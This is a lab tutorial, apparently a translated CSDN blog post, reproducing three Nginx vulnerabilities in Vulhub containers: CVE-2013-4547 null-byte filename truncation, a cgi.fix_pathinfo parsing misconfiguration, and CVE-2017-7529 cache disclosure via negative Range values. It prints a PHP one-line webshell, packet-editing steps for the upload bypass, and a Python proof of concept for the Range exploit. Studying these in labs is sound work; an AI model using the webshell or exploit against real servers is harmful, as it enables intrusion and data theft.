Common middleware vulnerabilities in Nginx

Table of contents

1. Nginx file name logic vulnerability

2. Nginx parsing vulnerability

3. Nginx unauthorized read cache vulnerability


You can see the vulnerability environment required here:Vulnerabilities caused by Nginx configuration errors-CSDN Blog

1. Nginx file name logic vulnerability

There are two conditions for exploiting this vulnerability:

  1. Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

  2. security.limit_extensions in php-fpm.conf is empty, which means that any suffix name can be parsed into PHP,

First we move the corresponding vulnerability file directory:

cd  /root/vulhub-master/nginx/CVE-2013-4547

Pull environment:

docker-compose up -d

Then you can visit

 

You can see that here is the operation for us to upload a file. 

Then we analyze this file name parsing vulnerability:

This vulnerability actually has nothing to do with code execution. The main reason is that the requested URI is incorrectly parsed and the file name requested by the user is incorrectly obtained, which leads to permission bypass and code execution.

For example, if Nginx matches a request ending in .php, it will be sent to fastcgi (a protocol specification) for analysis. The common writing method is as follows:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

Under normal circumstances (when pathinfo is turned off), only files with a .php suffix will be sent to fastcgi for analysis.

When CVE-2013-4547 exists, we request 1.gif[0x20][0x00].php, this URI can match the regular \.php$, and we can enter the Location block; But after entering, Nginx mistakenly believed that the requested file was 1.gif[0x20] (this is because of the \0 truncation problem), so it set the value of SCRIPT_FILENAME and sent it to fastcgi .

If the file name we access is shell.gif0x20.php, the file name ending with .php can be received by FastCGI. FastCGI When reading the file name, it is truncated by 00, resulting in the read file name1.gif[0x20]. It can be used successfully if limit_extensions is empty. .

(1) Now we can create a new txt text file

(2) Write a sentence Trojan into

<?php system($_GET['var']); ?>

 

(3) Change the suffix to .jpg

(4) Open BP to capture packets

(5) Upload the sentence Trojan picture just now

Then you can see that the data packet of this uploaded file was successfully captured.

(6) Modification package

First, we inserted two aa here to replace the \0 truncation character later.

Then click in Hex to make modifications

This is equivalent to inserting the \0 truncation character

(7) Finally click go to access

(8) Last access to this file

Use BP again to capture the data packet during the visit

Use the same access to change 61 61 to 20 00

Here, because Tinder Browser reported an error saying that there was a problem with the image display, and other browsers did not have a proxy, the final access was unsuccessful! It keeps reporting error 400 and has no success for the time being. However, php can be parsed normally here.

To sum up, this uses a total of two points:

  1. Exploiting the vulnerability that \0 will truncate the file name, upload the .php file as a .jpg file
  2. Use php to parse .jpg files by setting security.limit_extensions = to empty

2. Nginx parsing vulnerability

First enter the corresponding directory:

/root/vulhub-master/nginx/nginx_parsing_vulnerability

Pull vulnerability environment:

docker-compose up -d

Note: If the error message when pulling the environment here says that port 443 is occupied, you can use systemctrl to close the nginx service to solve the problem. 

Now analyze this parsing vulnerability

This vulnerability has nothing to do with Nginx and PHP versions. It is a parsing vulnerability caused by improper user configuration.​  

Conditions of use

#这两个条件同时满足
# php.ini
cgi.fix_pathinfo=1
# php-fpm.conf
security.limit_extensions = .php .jpg

Our current environment meets these two conditions, so we can try to test it now: 

First prepare a test.jpg with the following contents:

<?php phpinfo(); ?>

When accessinghttp://127.0.0.1/test.jpg, an image parsing error is displayed. When accessinghttp://127.0.0.1/test.jpg/test.php, the result shows Access denied. This echo is very strange. This link does not exist when accessed normally. Normal thinking It should be 404. Here we need to study the parsing process of Nginx:

When Nginx receives the /test.jpg/test.php path, it first determines the file type and finds that the suffix is ​​.php, so it is handed over to PHP for processing. However, when PHP wants to parse the file, it finds that it does not exist and deletes / test.php, go to test.jpg. At this time, test.jpg exists, so you have to try to parse it, but unfortunately the suffix is ​​.jpg, not php, and an Access denied error is reported.

One point mentioned in the above process is to delete /test.php. This is the "repair" mechanism of Nginx, which is determined by the parameter cgi.fix_pathinfo. When the value is 1, "repair" is performed.

For example, the file name is /aa.jpg/bb.png/cc.php. If cc.php does not exist, look for /aa.jpg/bb.png. If it does not exist, look for aa.jpg. If it exists, treat it as for php files. So far we have not successfully exploited the parsing vulnerability because the PHP code is not executed. why?

Because it is not defined in the PHP configuration, the php code in the .jpg file is also parsed into php, which is defined in security.limit_extensions. Due to the introduction of security.limit_extensions, the vulnerability is difficult to exploit.

Utilization effect:  

3. Nginx unauthorized read cache vulnerability

 First enter the corresponding directory:

/root/vulhub-master/nginx/CVE-2017-7529

Pull vulnerability environment:

docker-compose up -d

Let’s analyze this unauthorized read cache vulnerability: 

When Nginx serves as a reverse proxy site, it usually caches some files, especially static files. The cached part is stored in a file, and each cached file includes "file header" + "HTTP return packet header" + "HTTP return packet body".

If the second request hits the cache file, Nginx will directly return the "HTTP return package body" in the file to the user.

If my request contains the Range header, Nginx will return content of the specified length based on the start and end positions I specify. And if I construct two negative positions, such as (-600, -9223372036854774591), it will be possible to read data at negative positions. If this request hits the cache file again, you may be able to read the "file header", "HTTP return package header" and other contents located before the "HTTP return package body" in the cache file.

content-Range: range of content

What is range?

Exists in the HTTP request header, indicating part of the content of the requested target resource, such as requesting the first half of a picture. The unit is byte. In principle, it starts from 0, but today's introduction can be set to a negative number. Typical application scenarios of range include: resuming interrupted downloads and requesting resources in batches.

What is cache?

Most web servers have a caching function, which is difficult to explain. You can see the following figure:

Introduction to distributed cache

When requesting a server resource, if it exists in the cache server, it will be returned directly without accessing the application server, which can reduce the load on the application server. For example, for the cache of the home page of a website, the default cache path of nginx is under /tmp/nginx. For example, when requesting a server resource, if it exists in the cache server, it will be returned directly without accessing the application server, which can reduce the load of the application server. .

1. Now I want to read the cache file header just mentioned. Its Content-Length is 612, so the range when I read the normal cache file is set to

Range: bytes=0-612

Use the curl tool to test the command as follows. After execution, it is found that the returned content is normal.

curl -i http://127.0.0.1:8080 -r 0-612

2. Next, read the cache header and read the first 600 bytes, that is

range=content_length + 偏移长度
即:
range = 612 + 600
取负值为-1212

At this time, we know that the start of the range is -1212, but what about the end? The source code of nginx uses 64-bit signed integers when declaring start and end, so the maximum can be expressed:

-2^63-2^63-1
也就是
-9223372036854775808 到 9223372036854775807

So as long as start+end is 9223372036854775807, so:

end = 9223372036854775808 - 1212
取负
为-9223372036854774596

3. Let’s try to reproduce it below:

(1) Access in browserhttp://192.168.159.200:8080/

(2) python3 poc.py http://127.0.0.1:8080

poc.python:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

Several common Nginx vulnerabilities have been reproduced here. For details on other Nginx vulnerabilities, please see:Vulhub - Docker-Compose file for vulnerability environment

Guess you like

Origin blog.csdn.net/qq_68163788/article/details/134595816